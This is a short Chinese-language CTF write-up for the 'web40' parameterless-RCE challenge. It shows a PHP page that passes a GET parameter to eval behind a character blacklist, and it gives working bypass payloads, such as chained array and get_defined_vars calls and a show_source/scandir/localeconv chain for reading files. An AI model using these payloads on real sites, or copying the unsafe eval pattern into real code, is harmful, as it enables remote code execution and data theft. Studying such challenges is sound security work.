web40 无参数rce

点击查看代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

有点坑的是这里过滤的括号是中文的不是英文的

上网查发现有好几种方法 算是脑洞大开了

array_pop()将数组的值提取出来
get_defined_vars() 是以数组的形式将所有变量展示出来
next()是取数组第二个参数

我们post传入的data=phpinfo() 刚好是第二个参数

所以成功执行
image

还有方法
show_source(next(array_reverse(scandir(pos(localeconv())))));

还有就是
通过传sessionid来执行
理论上感觉没啥问题 传ls参数也有回显 但是好像一旦包含了flag.php 就不行了 不过这也是一种思路
image

posted @ 2024-08-18 21:10  WSssSW  阅读(4)  评论(0编辑  收藏  举报